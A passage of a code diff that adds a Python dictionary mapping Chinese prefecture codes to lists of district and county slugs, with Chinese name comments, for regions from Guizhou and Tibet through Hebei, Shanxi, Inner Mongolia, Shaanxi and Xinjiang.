'zunyixian', # 南白 + 'tongzixian', # 桐梓 + 'suiyangxian', # 绥阳 + 'zhenganxian', # 正安 + 'meitanxian', # 湄潭 + 'fenggangxian', # 凤冈 + 'yuqingxian', # 余庆 + 'xishuix', # 习水 + 'daozhenxian', # 道真 + 'wuchuanxian', # 务川 + ], + # 黔东南 贵州 西南 + 'qdn': [ + 'kaili', # 凯里 + 'huangping', # 黄平 + 'zhenyuan', # 镇远 + 'sansui', # 三穗 + 'taijiangx', # 台江 + 'jianhe', # 剑河 + 'cengong', # 岑巩 + 'jinpingx', # 锦屏 + 'congjiang', # 从江 + 'rongjiang', # 榕江 + 'liping', # 黎平 + 'danzhai', # 丹寨 + 'tianzhux', # 天柱 + 'majiang', # 麻江 + 'leishan', # 雷山 + 'shibing', # 施秉 + 'qdnzhoubian', # 黔东南周边 + ], + # 黔南 贵州 西南 + 'qn': [ + 'duyun', # 都匀 + 'fuquan', # 福泉 + 'libo', # 荔波 + 'guiding', # 贵定 + 'dushan', # 独山 + 'wengan', # 瓮安 + 'pingtang', # 平塘 + 'luodian', # 罗甸 + 'changshun', # 长顺 + 'longli', # 龙里 + 'huishui', # 惠水 + 'sandushuizu', # 三都 + 'qiannanzb', # 黔南周边 + ], + # 六盘水 贵州 西南 + 'lps': [ + 'zhongshanq', # 钟山 + 'liuzhi', # 六枝特区 + 'panx', # 盘县 + 'shuicheng', # 水城 + 'liupanshuizb', # 六盘水周边 + ], + # 毕节 贵州 西南 + 'bijie': [ + 'dafang', # 大方 + 'qianxi', # 黔西 + 'jinshax', # 金沙 + 'zhijin', # 织金 + 'nayong', # 纳雍 + 'hezhang', # 赫章 + 'weining', # 威宁 + 'bjqxg', # 七星关 + 'bjbldj', # 百里杜鹃 + 'bijiezhoubian', # 毕节周边 + ], + # 铜仁 贵州 西南 + 'tr': [ + 'wangshan', # 万山 + 'jiangkou', # 江口 + 'trbj', # 碧江 + 'shiqian', # 石阡 + 'sinan', # 思南 + 'dejiang', # 德江 + 'songtao', # 松桃 + 'yuping', # 玉屏 + 'yinjiang', # 印江 + 'yanhe', # 沿河 + 'tongrenzb', # 铜仁周边 + ], + # 安顺 贵州 西南 + 'anshun': [ + 'xixiuqu', # 西秀 + 'pingbaxian', # 平坝 + 'pudingxian', # 普定县 + 'asguanling', # 关岭 + 'asziyun', # 紫云 + 'aszhenning', # 镇宁 + 'anshunzhoubian', # 安顺周边 + ], + # 黔西南 贵州 西南 + 'qxn': [ + 'xingyi', # 兴义 + 'xingren', # 兴仁 + 'qinglongx', # 晴隆 + 'zhenfeng', # 贞丰 + 'wangmo', # 望谟 + 'ceheng', # 册亨 + 'anlong', # 安龙 + 'puan', # 普安 + 'qianxinanzb', # 黔西南周边 + ], + # 拉萨 西藏 西南 + 'lasa': [ + 'chengguan', # 城关 + 'nimu', # 尼木 + 'linzhouxian', # 林周 + 'dazi', # 达孜 + 'qushui', # 曲水 + 'dangxiong', # 当雄 + 'mozhugongka', # 墨竹工卡 + 'duilongdeqing', # 堆龙德庆 + 'lasaqita', # 其它 + ], + # 日喀则 西藏 西南 + 'rkz': [ + 'rkzrkzs', # 日喀则市 + 'angrenxian', # 昂仁 + 'bailangxian', # 白朗 + 'dingjiexian', # 定结 + 'dingrixian', # 定日 + 'gangbaxian', # 岗巴 + 'rikezezhoubian', # 日喀则周边 + ], + # 山南 西藏 西南 + 'sn': [ + 'naidongxian', # 乃东 + 'zhanangxian', # 扎囊 + 'gonggaxian', # 贡嘎 + 'sangrixian', # 桑日 + 'qiongjiexian', # 琼结 + 'shannanzhoubian', # 山南周边 + ], + # 林芝 西藏 西南 + 'linzhi': [ + 'bayizhen', # 八一镇 + 'linzhixian', # 林芝 + 'motuoxian', # 墨脱 + 'langxian', # 朗县 + 'chayuxian', # 察隅 + 'bomixian', # 波密 + 'gongbujiangdax', # 工布江达 + 'milinxian', # 米林 + 'linzhizb', # 林芝周边 + ], + # 昌都 西藏 西南 + 'changdu': [ + 'changduxian', # 昌都 + 'jiangdaxian', # 江达 + 'gongjuexian', # 贡觉 + 'leiwuqixian', # 类乌齐 + 'dingqingxian', # 丁青 + 'changduzhoubian', # 昌都周边 + ], + # 那曲 西藏 西南 + 'nq': [ + 'naquzhen', # 那曲镇 + 'luomazhen', # 罗玛镇 + 'guluzhen', # 古露镇 + 'nqbrx', # 比如县 + 'nqjlx', # 嘉黎县 + 'nqadx', # 安多县 + 'nqnrx', # 聂荣县 + 'nqszx', # 申扎县 + 'nqsx', # 索县 + 'nqbgx', # 班戈县 + 'nqbqx', # 巴青县 + 'nqnmx', # 尼玛县 + 'naquzhoubian', # 那曲周边 + ], + # 阿里 西藏 西南 + 'al': [ + 'aligaize', # 改则 + 'pulanxian', # 普兰 + 'rituqu', # 日土区 + 'zhadaxian', # 札达 + 'gaerxian', # 噶尔 + 'gejixian', # 革吉 + 'cuoqinxian', # 措勤 + 'alizhoubian', # 阿里周边 + ], + # 日土 西藏 西南 + 'rituxian': [ + ], + # 改则 西藏 西南 + 'gaizexian': [ + 'gaizexianzhengfu', # 改则县政府 + 'gaizexianweishengju', # 改则县卫生局 + ], + # 石家庄 河北 华北 + 'sjz': [ + 'qiaoxi', # 桥西 + 'qiaodong', # 桥东 + 'yuhua', # 裕华 + 'changan', # 长安 + 'sjzxinhua', # 新华 + 'jingjingkuangqu', # 井陉矿区 + 'zhengdingxian', # 正定 + 'sjzkaifaqu', # 开发区 + 'luanchengxian', # 栾城 + 'gaocheng', # 藁城 + 'luquan', # 鹿泉 + 'shijiazhuang', # 石家庄周边 + ], + # 保定 河北 华北 + 'bd': [ + 'gaokaiqu', # 高开 + 'xinshiqu', # 新市 + 'beishi', # 北市 + 'nanshiqu', # 南市 + 'anguo', # 安国 + 'zhuozhou', # 涿州 + 'gaobeidian', # 高碑店 + 'dingzhoushi', # 定州 + 'bdbg', # 白沟 + 'baoding', # 保定周边 + ], + # 唐山 河北 华北 + 'ts': [ + 'lubei', # 路北 + 'lunan', # 路南 + 'zunhua', # 遵化市 + 'kaiping', # 开平 + 'qianan', # 迁安市 + 'qianxixian', # 迁西 + 'guye', # 古冶 + 'fengnan', # 丰南 + 'fengrun', # 丰润 + 'gxq', # 高新区 + 'nanbaoqu', # 南堡开发区 + 'caofeidian', # 曹妃甸 + 'haigangqu', # 海港开发区 + 'tangshan', # 其他 + ], + # 廊坊 河北 华北 + 'lf': [ + 'lfguangyang', # 广阳 + 'anci', # 安次 + 'lfkaifaqu', # 开发区 + 'sanhe', # 三河 + 'bazhou', # 霸州 + 'lfguan', # 固安 + 'lfyanjiao', # 燕郊 + 'xianghe', # 香河 + 'yongqing', # 永清 + 'dachang', # 大厂 + 'lfwenan', # 文安 + 'dachengxian', # 大城 + 'langfang', # 其他 + ], + # 邯郸 河北 华北 + 'hd': [ + 'congtai', # 丛台 + 'hanshan', # 邯山 + 'fuxing', # 复兴 + 'gkq', # 高开区 + 'fengfengkuang', # 峰峰矿区 + 'wuan', # 武安 + 'handanxian', # 邯郸县 + 'weix', # 魏县 + 'cax', # 成安县 + 'dmx', # 大名县 + 'shexian', # 涉县 + 'feixx', # 肥乡县 + 'yongnian', # 永年县 + 'linzhang', # 临漳县 + 'cixian', # 磁县 + 'handan', # 邯郸周边 + ], + # 秦皇岛 河北 华北 + 'qhd': [ + 'haigang', # 海港 + 'ndh', # 南戴河 + 'beidaihe', # 北戴河 + 'shanhaiguan', # 山海关 + 'changli', # 昌黎 + 'funing', # 抚宁 + 'lulong', # 卢龙 + 'qinglong', # 青龙 + 'kfq', # 开发区 + 'qinhuangdao', # 其他 + ], + # 沧州 河北 华北 + 'cangzhou': [ + 'czxinhua', # 新华 + 'cangxian', # 沧县 + 'yunhe', # 运河 + 'nanpi', # 南皮 + 'renqiu', # 任丘 + 'qingxian', # 青县 + 'hejian', # 河间 + 'suning', # 肃宁 + 'huanghua', # 黄骅 + 'dongguang', # 东光 + 'botou', # 泊头 + 'haixing', # 海兴 + 'yanshanxian', # 盐山 + 'wuqiao', # 吴桥 + 'mengcun', # 孟村 + 'cangzhoushi', # 其他 + 'czxianxian', # 献县 + ], + # 邢台 河北 华北 + 'xt': [ + 'qiaodongqu', # 桥东 + 'qiaoxiqu', # 桥西 + 'nangong', # 南宫 + 'shaheshi', # 沙河 + 'xtqinghe', # 清河 + 'nanhe', # 南和 + 'pingxiangxian', # 平乡 + 'xingtaixian', # 邢台县 + 'xingtai', # 其他 + ], + # 衡水 河北 华北 + 'hs': [ + 'taocheng', # 桃城 + 'hsshenzhou', # 深州 + 'jizhou', # 冀州 + 'anping', # 安平 + 'guchengxian', # 故城 + 'fucheng', # 阜城 + 'zaoqiang', # 枣强 + 'jingxian', # 景县 + 'wuqiang', # 武强 + 'raoyang', # 饶阳 + 'kaifq', # 开发区 + 'hswy', # 武邑县 + 'hengshui', # 其他 + ], + # 张家口 河北 华北 + 'zjk': [ + 'zjkqiaodong', # 桥东 + 'zjkqiaoxi', # 桥西 + 'xuanhua', # 宣化区 + 'zjkgaoxin', # 高新区 + 'zhangbeixian', # 张北县 + 'huailai', # 怀来 + 'wanquanxian', # 万全 + 'weixian', # 蔚县 + 'xuanhuaxian', # 宣化县 + 'zhangjiakou', # 其他 + ], + # 承德 河北 华北 + 'chengde': [ + 'chengdeshi', # 承德市 + 'cdshuangqiao', # 双桥 + 'chengdexian', # 承德县 + 'luanpingxian', # 滦平 + 'weichangxian', # 围场 + 'xinglongxian', # 兴隆 + 'fengningxian', # 丰宁 + 'pingquanxian', # 平泉 + 'longhuaxian', # 隆化 + 'kuanchengxian', # 宽城 + 'shuangluan', # 双滦 + 'yingzi', # 营子 + 'cdkaifaqu', # 开发区 + 'chengdezb', # 承德周边 + ], + # 定州 河北 华北 + 'dingzhou': [ + 'beichengqu', # 北城 + 'nanchengqu', # 南城 + 'xichengqu', # 西城 + 'dingzhouqita', # 其他 + ], + # 馆陶 河北 华北 + 'gt': [ + 'guantaoxian', # 馆陶 + 'guantaozhen', # 馆陶镇 + 'weizengzhai', # 魏僧寨镇 + 'chaibuzhen', # 柴堡镇 + 'fangzhaizhen', # 房寨镇 + 'wangqiaoxiang', # 王桥乡 + 'shoushansi', # 寿山寺乡 + 'nanxucun', # 南徐村乡 + 'luqiaoxiang', # 路桥乡 + ], + # 张北 河北 华北 + 'zhangbei': [ + 'zhangbeizhen', # 张北 + 'gonghui', # 公会 + 'ertai', # 二台 + 'dahulun', # 大囫囵 + 'tailugou', # 台路沟 + 'youlougou', # 油篓沟 + 'mantouying', # 馒头营 + 'erquanjing', # 二泉井 + 'danjinghe', # 单晶河 + 'dahe', # 大河 + 'hailiutu', # 海流图 + 'liangmianjing', # 两面井 + 'zhangbeizb', # 张北周边 + ], + # 赵县 河北 华北 + 'zx': [ + 'zhaozhouzhen', # 赵州镇 + 'fanzhuangzhen', # 范庄镇 + 'beiwanglizhen', # 北王里镇 + 'xinzhaidianzhen', # 新寨店镇 + 'hancunzhen', # 韩村镇 + 'nanbaishezhen', # 南柏舍镇 + 'shahedianzhen', # 沙河店镇 + 'qiandazhangxiang', # 前大章乡 + 'xiezhuangxiang', # 谢庄乡 + 'gaocunxiang', # 高村乡 + 'wangxizhangxiang', # 王西章乡 + ], + # 正定 河北 华北 + 'zd': [ + 'zhengding', # 正定镇 + 'xinchengpu', # 新城铺镇 + 'zhufutun', # 诸福屯镇 + 'xinan', # 新安镇 + 'nanlou', # 南楼乡 + 'beizaoxian', # 北早现乡 + 'quyangqiao', # 曲阳桥乡 + 'nanniu', # 南牛乡 + 'zhengdingshi', # 其他 + ], + # 太原 山西 华北 + 'ty': [ + 'xiaodian', # 小店 + 'yingze', # 迎泽 + 'xinghualing', # 杏花岭 + 'wanbolin', # 万柏林 + 'jiancaoping', # 尖草坪 + 'jinyuan', # 晋源 + 'taiyuan', # 太原周边 + ], + # 临汾 山西 华北 + 'linfen': [ + 'yaodou', # 尧都 + 'houma', # 侯马 + 'huozhou', # 霍州 + 'quwo', # 曲沃 + 'lfyicheng', # 翼城 + 'xiangfen', # 襄汾 + 'hongdong', # 洪洞 + 'lfguxian', # 古县 + 'linfenshi', # 其它 + ], + # 大同 山西 华北 + 'dt': [ + 'tianzhenxian', # 天镇 + 'guanglingxian', # 广灵 + 'lingqiuxian', # 灵丘 + 'datongqu', # 大同 + 'yanggaoxian', # 阳高 + 'zuoyunxian', # 左云 + 'hunyuanxian', # 浑源 + 'chengquxian', # 城区 + 'nanjiaoqu', # 南郊 + 'kuangqu', # 矿区 + 'xinrongqu', # 新荣 + ], + # 运城 山西 华北 + 'yuncheng': [ + 'yanhu', # 盐湖 + 'hejin', # 河津 + 'yongji', # 永济 + 'ruicheng', # 芮城 + 'yclinyi', # 临猗 + 'wanrong', # 万荣 + 'jishan', # 稷山 + 'wenxi', # 闻喜 + 'xinjiangxian', # 新绛 + 'yunchengshi', # 其它 + ], + # 晋中 山西 华北 + 'jz': [ + 'yuciqu', # 榆次 + 'jiexiushi', # 介休 + 'kaifaquq', # 开发区 + 'taiguxian', # 太谷 + 'qixian', # 祁县 + 'pingyaoxian', # 平遥 + 'lingshixian', # 灵石 + 'shouyangxian', # 寿阳 + 'xiyangxian', # 昔阳 + 'heshunxian', # 和顺 + 'zuoquanxian', # 左权 + 'yushexian', # 榆社 + ], + # 长治 山西 华北 + 'changzhi': [ + 'jiaoqushi', # 郊区 + 'chengqushi', # 城区 + 'luchengshi', # 潞城 + 'changzhixian', # 长治县 + 'xiangyuanxian', # 襄垣 + 'tunliuxian', # 屯留 + 'pingshunxian', # 平顺 + 'lichengxian', # 黎城 + 'huguanxian', # 壶关 + 'zhangzixian', # 长子 + 'wuxiangxian', # 武乡 + 'qinxian', # 沁县 + 'qinyuanxian', # 沁源 + ], + # 晋城 山西 华北 + 'jincheng': [ + 'chengqu', # 城区 + 'gaoping', # 高平 + 'kaifa', # 开发区 + 'zezhou', # 泽州 + 'yangcheng', # 阳城 + 'lingchuan', # 陵川 + 'qinshui', # 沁水 + 'jinchengshi', # 其他 + ], + # 阳泉 山西 华北 + 'yq': [ + 'chengquq', # 城区 + 'kuangquq', # 矿区 + 'jiaoquq', # 郊区 + 'pingdingxian', # 平定 + 'yuxian', # 盂县 + 'yqsxq', # 市辖区 + ], + # 吕梁 山西 华北 + 'lvliang': [ + 'lishi', # 离石 + 'xiaoyi', # 孝义 + 'fenyang', # 汾阳 + 'liulin', # 柳林 + 'wenshui', # 文水 + 'jiaocheng', # 交城 + 'zhongyang', # 中阳 + 'lvliangxx', # 兴县 + 'lvlianglx', # 临县 + 'lvliangslx', # 石楼县 + 'lvliangfsx', # 方山县 + 'lvliangjkx', # 交口县 + 'lvlianglanxian', # 岚县 + 'lvliangshi', # 其他 + ], + # 忻州 山西 华北 + 'xinzhou': [ + 'xinfu', # 忻府 + 'dingxiang', # 定襄 + 'yuanping', # 原平 + 'wutaixian', # 五台 + 'daixian', # 代县 + 'fanzhi', # 繁峙 + 'ningwu', # 宁武 + 'jingle', # 静乐 + 'xinzhouqita', # 其他 + ], + # 朔州 山西 华北 + 'shuozhou': [ + 'shuocheng', # 朔城 + 'pingluq', # 平鲁 + 'shanyin', # 山阴 + 'yingx', # 应县 + 'youyu', # 右玉 + 'huairen', # 怀仁 + 'shuozhouzhoubian', # 朔州周边 + ], + # 临猗 山西 华北 + 'linyixian': [ + 'yishizhen', # 猗氏镇 + 'emeizhen', # 嵋阳镇 + 'chuhouxiang', # 楚候乡 + 'miaoshangxiang', # 庙上乡 + 'qijizhen', # 七级镇 + 'linjinzhen', # 临晋镇 + 'dongzhangzhen', # 东张镇 + 'jiaobeixiang', # 角杯乡 + 'sunjizhen', # 孙吉镇 + 'beixinxiang', # 北辛乡 + 'danzizhen', # 耽子镇 + 'beijingxiang', # 北景乡 + 'sanguanzhen', # 三管镇 + ], + # 清徐 山西 华北 + 'qingxu': [ + 'qingyuanzhen', # 清源镇 + 'xugouzhen', # 徐沟镇 + 'dongyuzhen', # 东于镇 + 'yufengzhen', # 盂封镇 + 'mayuxiang', # 马峪乡 + 'liuduxiang', # 柳杜乡 + 'xiguxiang', # 西谷乡 + 'wangdaxiang', # 王答乡 + 'jiyixiang', # 集义乡 + 'yangfangxiang', # 杨房乡 + 'gaohuaxiang', # 高花乡 + 'qingxuzb', # 清徐周边 + ], + # 呼和浩特 内蒙古 华北 + 'hu': [ + 'xinchengqu', # 新城 + 'saihan', # 赛罕 + 'huimin', # 回民 + 'yuquan', # 玉泉 + 'ruyi', # 如意开发区 + 'jinqiaokfq', # 金桥开发区 + 'jinchuan', # 金川开发区 + 'jinshankfq', # 金山开发区 + 'tmtz', # 土默特左 + 'tkt', # 托克托 + 'hlge', # 和林格尔 + 'qsh', # 清水河 + 'wc', # 武川 + 'huhehaote', # 呼和浩特周边 + ], + # 包头 内蒙古 华北 + 'bt': [ + 'kundoulun', # 昆都仑区 + 'qingshanqu', # 青山 + 'donghe', # 东河 + 'daerhanqi', # 达尔罕茂明安联合旗 + 'jiuyuan', # 九原 + 'baiyunkuang', # 白云矿区 + 'shiguai', # 石拐 + 'guy', # 固阳 + 'tmtyq', # 土默特右旗 + 'btbhx', # 滨河新区 + 'xitgxq', # 稀土高新区 + 'baotou', # 包头周边 + ], + # 赤峰 内蒙古 华北 + 'chifeng': [ + 'hshan', # 红山 + 'yuanbaoshan', # 元宝山 + 'songshan', # 松山 + 'wengniuteqi', # 翁牛特旗 + 'keciqinqi', # 喀喇沁旗 + 'ningchengxian', # 宁城 + 'aohanqi', # 敖汉旗 + 'linxi', # 林西 + 'cfqita', # 其他 + 'cfxinchengqu', # 新城区 + ], + # 鄂尔多斯 内蒙古 华北 + 'erds': [ + 'dongshengqu', # 东胜 + 'dalateqi', # 达拉特旗 + 'zhungeerqi', # 准格尔旗 + 'etuokeqi', # 鄂托克旗 + 'etuokeqianqi', # 鄂托克前旗 + 'hangjinqi', # 杭锦旗 + 'wushenqi', # 乌审旗 + 'yijinhuoluoqi', # 伊金霍洛旗 + 'kangbsq', # 康巴什区 + 'eerduosi', # 其它 + ], + # 通辽 内蒙古 华北 + 'tongliao': [ + 'keerqinqu', # 科尔沁 + 'huolinguole', # 霍林郭勒 + 'kailu', # 开鲁 + 'keerqinyouyizhongq', # 科尔沁左翼中旗 + 'keerqinyouyihouqi', # 科尔沁左翼后旗 + 'kulunqi', # 库伦旗 + 'naimanqi', # 奈曼旗 + 'zaluteqi', # 扎鲁特旗 + 'tongliaozhoubian', # 通辽周边 + ], + # 呼伦贝尔 内蒙古 华北 + 'hlbe': [ + 'hailaerq', # 海拉尔 + 'manzhouli', # 满洲里 + 'zalantun', # 扎兰屯 + 'yakeshi', # 牙克石 + 'genhe', # 根河 + 'eerguna', # 额尔古纳 + 'hulunbeierzhoubian', # 呼伦贝尔周边 + ], + # 巴彦淖尔市 内蒙古 华北 + 'bycem': [ + 'linheq', # 临河 + 'wuyuan', # 五原 + 'dengkou', # 磴口 + 'wulateqianqi', # 乌拉特前旗 + 'wulatezhongqi', # 乌拉特中旗 + 'wulatehouqi', # 乌拉特后旗 + 'hangjinhouqi', # 杭锦后旗 + 'bayanzhoubian', # 巴彦周边 + ], + # 乌兰察布 内蒙古 华北 + 'wlcb': [ + 'jiningq', # 集宁 + 'fengzhen', # 丰镇 + 'zuozhi', # 卓资 + 'huade', # 化德 + 'sangdu', # 商都 + 'xinghe', # 兴和 + 'liangchengx', # 凉城 + 'wulanchabuzhoubian', # 乌兰察布周边 + ], + # 锡林郭勒 内蒙古 华北 + 'xl': [ + 'erlianhaoteshi', # 二连浩特 + 'xilinhaoteshi', # 锡林浩特 + 'abagaqi', # 阿巴嘎旗 + 'sunitezuoqi', # 苏尼特左旗 + 'suniteyouqi', # 苏尼特右旗 + 'dwzmqq', # 东乌珠穆沁旗 + 'xwzmqq', # 西乌珠穆沁旗 + 'taipusiqi', # 太仆寺旗 + 'xianghuangqi', # 镶黄旗 + 'zhengxiangbaiqi', # 正镶白旗 + 'zhenglanqi', # 正蓝旗 + 'duolunxian', # 多伦 + 'dongxian', # 东县 + ], + # 兴安盟 内蒙古 华北 + 'xam': [ + 'aershan', # 阿尔山 + 'wulanhaote', # 乌兰浩特 + 'tuquan', # 突泉 + 'zalanteqi', # 扎赉特旗 + 'keerqinyouyizhongqi', # 科尔沁右翼中旗 + 'keerqinyouyiqianqi', # 科尔沁右翼前旗 + 'xinganmengzhoubian', # 兴安盟周边 + ], + # 乌海 内蒙古 华北 + 'wuhai': [ + 'haibowan', # 海勃湾 + 'hainanqu', # 海南 + 'wudaqu', # 乌达 + 'wuhaibhdq', # 滨河东区 + 'wuhaibhxq', # 滨河西区 + ], + # 阿拉善盟 内蒙古 华北 + 'alsm': [ + 'alashanzuoqi', # 阿拉善左旗 + 'alashanyouqi', # 阿拉善右旗 + 'ejinaqi', # 额济纳旗 + 'alashanmengzhoubian', # 阿拉善盟周边 + ], + # 海拉尔 内蒙古 华北 + 'hlr': [ + 'hailaercheng', # 海拉尔城区 + 'hailaer', # 其他 + ], + # 西安 陕西 西北 + 'xa': [ + 'yanta', # 雁塔 + 'beilin', # 碑林 + 'lianhu', # 莲湖 + 'xaxincheng', # 新城 + 'weiyang', # 未央 + 'changanlu', # 长安 + 'baqiao', # 灞桥 + 'lintong', # 临潼 + 'yanliang', # 阎良 + 'xagx', # 高新区 + 'fengweixinq', # 沣渭新区 + 'qujiangxinq', # 曲江新区 + 'yangling', # 杨凌 + 'xianzhoubian', # 西安周边 + ], + # 咸阳 陕西 西北 + 'xianyang': [ + 'qinduqu', # 秦都 + 'weichengquyu', # 渭城 + 'sanpingshi', # 兴平 + 'sanyuanxian', # 三原 + 'jingyangxian', # 泾阳 + 'qianxian', # 乾县 + 'liquanxian', # 礼泉 + 'yongshouxian', # 永寿 + 'xybinxian', # 彬县 + 'changwuxian', # 长武 + 'xunyixian', # 旬邑 + 'chunhuaxian', # 淳化 + 'wugongxian', # 武功 + ], + # 宝鸡 陕西 西北 + 'baoji': [ + 'weibin', # 渭滨 + 'jintai', # 金台 + 'chencang', # 陈仓 + 'qishanxian', # 岐山 + 'fengxian', # 凤县 + 'meixian', # 眉县 + 'baojishi', # 其它 + ], + # 渭南 陕西 西北 + 'wn': [ + 'linwei', # 临渭 + 'hancheng', # 韩城 + 'huayin', # 华阴 + 'wnhuaxian', # 华县 + 'tongguan', # 潼关 + 'dalixian', # 大荔 + 'heyang', # 合阳 + 'pucheng', # 蒲城 + 'fuping', # 富平 + 'baishui', # 白水 + 'chengcheng', # 澄城 + 'weinan', # 渭南周边 + ], + # 汉中 陕西 西北 + 'hanzhong': [ + 'hantai', # 汉台 + 'chenggu', # 城固 + 'nanzheng', # 南郑 + 'yangxian', # 洋县 + 'mianxian', # 勉县 + 'xixiang', # 西乡 + 'lueyang', # 略阳 + 'hanzhongnqx', # 宁强县 + 'hanzhongzbx', # 镇巴县 + 'hanzhonglbx', # 留坝县 + 'hanzhongfpx', # 佛坪县 + 'hanzhongshi', # 其他 + ], + # 榆林 陕西 西北 + 'yl': [ + 'yuyang', # 榆阳 + 'shenmu', # 神木 + 'fugu', # 府谷 + 'hengshanx', # 横山 + 'jingbian', # 靖边 + 'dingbian', # 定边 + 'suide', # 绥德 + 'mizhi', # 米脂 + 'sxjx', # 佳县 + 'yls', # 其它 + ], + # 延安 陕西 西北 + 'yanan': [ + 'baotaqu', # 宝塔 + 'zichangxian', # 子长 + 'wuqixian', # 吴起 + 'zhidanxian', # 志丹 + 'anzaixian', # 安塞 + 'yanchuanxian', # 延川 + 'yanchangxian', # 延长 + 'ganquanxian', # 甘泉 + 'fuxian', # 富县 + 'luochuanxian', # 洛川 + 'huanglingxian', # 黄陵 + 'yichuanxian', # 宜川 + 'huanglongxian', # 黄龙 + ], + # 安康 陕西 西北 + 'ankang': [ + 'hanbin', # 汉滨 + 'ziyang', # 紫阳 + 'langao', # 岚皋 + 'xunyangxian', # 旬阳 + 'zhenping', # 镇坪 + 'ankanghyx', # 汉阴县 + 'ankangsqx', # 石泉县 + 'ankangnsx', # 宁陕县 + 'ankangplx', # 平利县 + 'ankangbhx', # 白河县 + 'ankangshi', # 其他 + ], + # 商洛 陕西 西北 + 'sl': [ + 'shangzhou', # 商州 + 'luonan', # 洛南 + 'danfeng', # 丹凤 + 'sangnan', # 商南 + 'shanyangx', # 山阳 + 'zhenanx', # 镇安 + 'zuoshui', # 柞水 + 'sangluozhoubian', # 商洛周边 + ], + # 铜川 陕西 西北 + 'tc': [ + 'wangyiqu', # 王益 + 'yintaiqu', # 印台 + 'yaozhouqu', # 耀州 + 'yijunxian', # 宜君 + 'tckaifa', # 开发区 + 'tongchuanzhoubian', # 铜川周边 + ], + # 乌鲁木齐 新疆 西北 + 'xj': [ + 'tianshan', # 天山 + 'shayibake', # 沙依巴克 + 'wlmqxinshi', # 新市 + 'wulumuqixian', # 乌鲁木齐县 + 'dabancheng', # 达坂城 + 'shuitanggou', # 水磨沟 + 'toutunhequ', # 头屯河 + 'kaifaarea', # 开发区 + 'midongdistrict', # 米东区 + 'wlmqzb', # 乌鲁木齐周边 + ], + # 昌吉 新疆 西北 + 'changji': [ + 'changjishi', # 昌吉 + 'fukangshi', # 阜康 + 'manasixian', # 玛纳斯 + 'hutubishi', # 呼图壁 + 'qitaixian', # 奇台 + 'muleixian', # 木垒 + 'jimusaerxian', # 吉木萨尔 + ], + # 巴音郭楞 新疆 西北 + 'bygl': [ + 'kuerleshi', # 库尔勒 + 'luntx', # 轮台 + 'weilx', # 尉犁 + 'yanqx', # 焉耆 + 'hejx', # 和静 + 'byglrq', # 若羌 + 'byglbh', # 博湖 + 'byglhs', # 和硕 + 'bygljm', # 且末 + 'bazhouzhoubian', # 巴州周边 + ], + # 伊犁 新疆 西北 + 'yili': [ + 'kuitunshi', # 奎屯 + 'yiningshi', # 伊宁 + 'tachengshi', # 塔城 + 'wusushi', # 乌苏 + 'aletaishi', # 阿勒泰 + 'yilizhoubian', # 伊犁周边 + ], + # 阿克苏 新疆 西北 + 'aks': [ + 'aksakss', # 阿克苏市 + 'kuchexian', # 库车 + 'xinhexian', # 新和 + 'shayaxian', # 沙雅 + 'baichengxian', # 拜城 + 'wensuxian', # 温宿 + 'awatixian', # 阿瓦提 + 'wushixian', # 乌什 + 'kepingxian', # 柯坪 + 'akeshuzhoubian', # 阿克苏周边 + ], + # 喀什 新疆 西北 + 'ks': [ + 'kashishi', # 喀什 + 'bachuxian', # 巴楚 + 'zepuxian', # 泽普 + 'jiashixian', # 伽师 + 'yechengxian', # 叶城 + 'yuepuhuxian', # 岳普湖 + 'shulexian', # 疏勒 + 'maigaitixian', # 麦盖提 + 'yingjishaxian', # 英吉沙 + 'shachexian', # 莎车 + 'shufuxian', # 疏附 + 'tashikuergan', # 塔什库尔干 + 'kashizhoubian', # 喀什周边 + ], + # 哈密 新疆 西北 + 'hami': [ + 'hamishi', # 哈密 + 'balilkunzzx', # 巴里坤 + 'yiwuxian', # 伊吾 + ], + # 克拉玛依 新疆 西北 + 'klmy': [ + 'kelamayiqu', # 克拉玛依区 + 'dushanzi', # 独山子 + 'baijiantan', # 白碱滩 + 'wuerhe', # 乌尔禾 + 'kelamayi', # 其它 + ], + # 博尔塔拉 新疆 西北 + 'betl': [ + 'boleshi', # 博乐 + 'wenquanxian', # 温泉 + 'jinghexian', # 精河 + 'bozhouzb', # 博州周边 + ], + # 吐鲁番 新疆 西北 + 'tlf': [ + 'laochenglu', # 老城路 + 'gaochanglu', # 高昌路 + 'qiquanhuzhen', # 七泉湖镇 + 'daheyanzhen', # 大河沿镇 + 'tlftkxx', # 托克逊县 + 'tlfssx', # 鄯善县 + 'tulufanzhoubian', # 吐鲁番周边 + ], + # 和田 新疆 西北 + 'ht': [ + 'hetianxian', # 和田县 + 'moyuxian', # 墨玉 + 'pishanxian', # 皮山 + 'luopuxian', # 洛浦 + 'yutx', # 于田 + 'celexian', # 策勒 + 'minfengxian', # 民丰 + 'hetianzhoubian', # 和田周边 + ], + # 石河子 新疆 西北 + 'shz': [ + 'laojie', # 老街 + 'hongshans', # 红山 + 'xinchengs', # 新城 + 'xiangyangs', # 向阳 + 'dongchengs', # 东城 + 'shihezizb', # 石河子周边 + ], + # 克孜勒苏 新疆 西北 + 'kzls': [ + 'atushishi', # 阿图什 + 'wuqiaxian', # 乌恰 + 'aheqixian', # 阿合奇 + 'kezileshuzhoubian', # 克孜勒苏周边 + ], + # 阿拉尔 新疆 西北 + 'ale': [ + 'xingfulu', # 幸福路 + 'jinyinchuanlu', # 金银川路 + 'qingsonglu', # 青松路 + 'nankoua', # 南口 + 'tuanchang', # 团场 + 'alaerzhoubian', # 阿拉尔周边 + ], + # 五家渠 新疆 西北 + 'wjq': [ + 'junkenlu', # 军垦路 + 'qinghulu', # 青湖路 + 'renml', # 人民路 + 'yilingyituan', # 101团 + 'yilingertuan', # 102团 + 'yilingsantuan', # 103团 + 'wujiaquzhoubian', # 五家渠周边 + ], + # 图木舒克 新疆 西北 + 'tmsk': [ + 'jindun', # 金墩 + 'gaimilike', # 盖米里克 + 'qigaimaidan', # 其盖麦旦 + 'tumuxiuke', # 图木休克 + 'piqiakesongdi', # 皮恰克松地 + 'tumushukezb', # 图木舒克周边 + ], +# 阿勒泰 新疆 西北 + 'alt': [ + 'altsq', # 阿勒泰市区 + 'altbej', # 布尔津 + 'altfy', # 富蕴 + 'altfh', # 福海 + 'althbh', # 哈巴河 + 'altqh', # 青河 + 'altjmn', # 吉木乃 + ], + # 塔城 新疆 西北 + 'tac': [ + 'tacs', # 塔城市 + 'tacwss', # 乌苏市 + 'tacsw', # 沙湾 + 'tactl', # 托里 + 'tacym', # 裕民 + 'tachbkse', # 和布克赛尔 + ], + # 兰州 甘肃 西北 + 'lz': 